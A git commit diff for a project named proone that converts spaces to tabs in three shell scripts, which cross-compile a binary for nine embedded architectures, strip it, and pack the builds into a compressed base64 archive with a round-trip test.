diff options
author | David Timber <mieabby@gmail.com> | 2020-01-15 18:36:25 +1100 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-01-15 18:45:50 +1100 |
commit | a9762b186c68797c19c61bf0284a80d9bc51a2ca (patch) | |
tree | e1aa87bac8d8605ec3c5f069e1bc83dc2048fbfe /scripts | |
parent | f97fd125b9e2f8ff27da61a882c50ce66cc79d2d (diff) |
unexpand
Diffstat (limited to 'scripts')
-rwxr-xr-x | scripts/build-all.sh | 86 | ||||
-rwxr-xr-x | scripts/test_bin-archive.sh | 38 | ||||
-rwxr-xr-x | scripts/xcomp.sh | 10 |
3 files changed, 67 insertions, 67 deletions
diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 7c87b82..dbbae21 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -1,41 +1,41 @@ #!/bin/bash ARCH_ARR=( - "armv4t" - "armv7" - "i686" - "m68k" - "mips" - "mpsl" - "ppc" - "sh4" - "spc" + "armv4t" + "armv7" + "i686" + "m68k" + "mips" + "mpsl" + "ppc" + "sh4" + "spc" ) TOOLCHAIN_ARR=( - "armv4t" - "armv7" - "i686" - "m68k" - "mips" - "mpsl" - "ppc" - "sh4" - "spc" + "armv4t" + "armv7" + "i686" + "m68k" + "mips" + "mpsl" + "ppc" + "sh4" + "spc" ) HOST_ARR=( - "arm-linux" - "arm-linux" - "i686-linux" - "m68k-linux" - "mips-linux" - "mipsel-linux" - "powerpc-linux" - "sh4-linux" - "sparc-linux" + "arm-linux" + "arm-linux" + "i686-linux" + "m68k-linux" + "mips-linux" + "mipsel-linux" + "powerpc-linux" + "sh4-linux" + "sparc-linux" ) ARR_SIZE="${#ARCH_ARR[@]}" if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}" ]; then - echo "Config error: arrays" >&2 - exit 2 + echo "Config error: arrays" >&2 + exit 2 fi PROONE_PREFIX="builds" @@ -50,37 +50,37 @@ PROONE_BIN_ARCHIVE="$PROONE_PREFIX/bin-archive" rm -rf "$PROONE_PREFIX" && mkdir "$PROONE_PREFIX" "$PROONE_ORG_BIN" "$PROONE_REL_BIN" "$PROONE_TOOLS" if [ $? -ne 0 ] ; then - exit $? + exit $? fi make distclean # native build for tools -./configure $PROONE_AM_CONF && make -j$(nproc) && - cp -a src/proone-pack "$PROONE_PACKER" && - cp -a src/proone-unpack "$PROONE_UNPACKER" && - cp -a src/proone-list-arch "$PROONE_TOOLS/proone-list-arch" && - cp -a src/proone-mask "$PROONE_TOOLS/proone-mask" && - cp -a src/proone-print-all-data "$PROONE_TOOLS/proone-print-all-data" && - cp -a src/proone-resolv "$PROONE_TOOLS/proone-resolv" +./configure $PROONE_AM_CONF && make -j$(nproc) && + cp -a src/proone-pack "$PROONE_PACKER" && + cp -a src/proone-unpack "$PROONE_UNPACKER" && + cp -a src/proone-list-arch "$PROONE_TOOLS/proone-list-arch" && + cp -a src/proone-mask "$PROONE_TOOLS/proone-mask" && + cp -a src/proone-print-all-data "$PROONE_TOOLS/proone-print-all-data" && + cp -a src/proone-resolv "$PROONE_TOOLS/proone-resolv" if [ $? -ne 0 ]; then - exit $? + exit $? fi make distclean # cross-compile targets for (( i = 0; i < ARR_SIZE; i += 1 )); do - PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" bash-xcomp-emb "${TOOLCHAIN_ARR[$i]}" "scripts/xcomp.sh" - if [ $? -ne 0 ]; then - exit $? - fi + PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" bash-xcomp-emb "${TOOLCHAIN_ARR[$i]}" "scripts/xcomp.sh" + if [ $? -ne 0 ]; then + exit $? + fi done # pack echo "bwEYAZaX8Zu9X1C6024h" > "$PROONE_BIN_ARCHIVE" # "test":"password" "$PROONE_PACKER" "$PROONE_ORG_BIN_PREFIX."* | pigz -z - | base64 >> "$PROONE_BIN_ARCHIVE" if [ $? -ne 0 ]; then - exit $? + exit $? fi # archive test diff --git a/scripts/test_bin-archive.sh b/scripts/test_bin-archive.sh index 0506102..5d95f2c 100755 --- a/scripts/test_bin-archive.sh +++ b/scripts/test_bin-archive.sh @@ -1,10 +1,10 @@ #!/bin/bash RND_BLOCK_SIZE=4096 if [ -z "$RND_BIN_CNT_MIN" ]; then - RND_BIN_CNT_MIN=1 + RND_BIN_CNT_MIN=1 fi if [ -z "$RND_BIN_CNT_MAX" ]; then - RND_BIN_CNT_MAX=20 + RND_BIN_CNT_MAX=20 fi TEST_DIR="pack_test" BIN_PACK_DIR="$TEST_DIR/pack" @@ -13,49 +13,49 @@ BIN_PREFIX="bin" BIN_ARCHIVE_PREFIX="bin_archive" SIZE_LOG="pack_test-size.log" if [ -z "$LISTARCH" ]; then - LISTARCH="../src/proone-list-arch" + LISTARCH="../src/proone-list-arch" fi if [ -z "$PACKER" ]; then - PACKER="../src/proone-pack" + PACKER="../src/proone-pack" fi if [ -z "$UNPACKER" ]; then - UNPACKER="../src/proone-unpack" + UNPACKER="../src/proone-unpack" fi ARCH_ARR=(`"$LISTARCH"`) if [ -d "$TEST_DIR" ]; then - rm -rf "$TEST_DIR/"* + rm -rf "$TEST_DIR/"* else - mkdir "$TEST_DIR" + mkdir "$TEST_DIR" fi mkdir "$BIN_PACK_DIR" "$BIN_UNPACK_DIR" if [ $? -ne 0 ]; then - exit 2 + exit 2 fi for arch in ${ARCH_ARR[@]}; do - bin_block_cnt="$(shuf -n1 -i $RND_BIN_CNT_MIN-$RND_BIN_CNT_MAX)" &&\ - dd if=/dev/random of="$BIN_PACK_DIR/$BIN_PREFIX.$arch" iflag=fullblock bs=$RND_BLOCK_SIZE count=$bin_block_cnt - if [ $? -ne 0 ]; then - exit 2 - fi + bin_block_cnt="$(shuf -n1 -i $RND_BIN_CNT_MIN-$RND_BIN_CNT_MAX)" &&\ + dd if=/dev/random of="$BIN_PACK_DIR/$BIN_PREFIX.$arch" iflag=fullblock bs=$RND_BLOCK_SIZE count=$bin_block_cnt + if [ $? -ne 0 ]; then + exit 2 + fi done "$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | pigz -z - | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX" if [ $? -ne 0 ]; then - exit 2; + exit 2; fi "$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX" if [ $? -ne 0 ]; then - exit 2; + exit 2; fi for arch in ${ARCH_ARR[@]}; do - diff -q "$BIN_PACK_DIR/$BIN_PREFIX.$arch" "$BIN_UNPACK_DIR/$BIN_PREFIX.$arch" - if [ $? -ne 0 ]; then - exit 2; - fi + diff -q "$BIN_PACK_DIR/$BIN_PREFIX.$arch" "$BIN_UNPACK_DIR/$BIN_PREFIX.$arch" + if [ $? -ne 0 ]; then + exit 2; + fi done echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX" | awk '{print $1;}') >> "$SIZE_LOG" diff --git a/scripts/xcomp.sh b/scripts/xcomp.sh index ac4bf26..a0ccb02 100755 --- a/scripts/xcomp.sh +++ b/scripts/xcomp.sh @@ -3,8 +3,8 @@ BIN_ORG="$PROONE_ORG_BIN_PREFIX.$PROONE_BIN_ARCH" BIN_REL="$PROONE_REL_BIN_PREFIX.$PROONE_BIN_ARCH" ./configure --host="$PROONE_HOST" $PROONE_AM_CONF &&\ - make -j$(nproc) &&\ - cp -a src/proone "$BIN_ORG" &&\ - cp -a src/proone "$BIN_REL" &&\ - "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$BIN_REL" &&\ - make distclean + make -j$(nproc) &&\ + cp -a src/proone "$BIN_ORG" &&\ + cp -a src/proone "$BIN_REL" &&\ + "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$BIN_REL" &&\ + make distclean |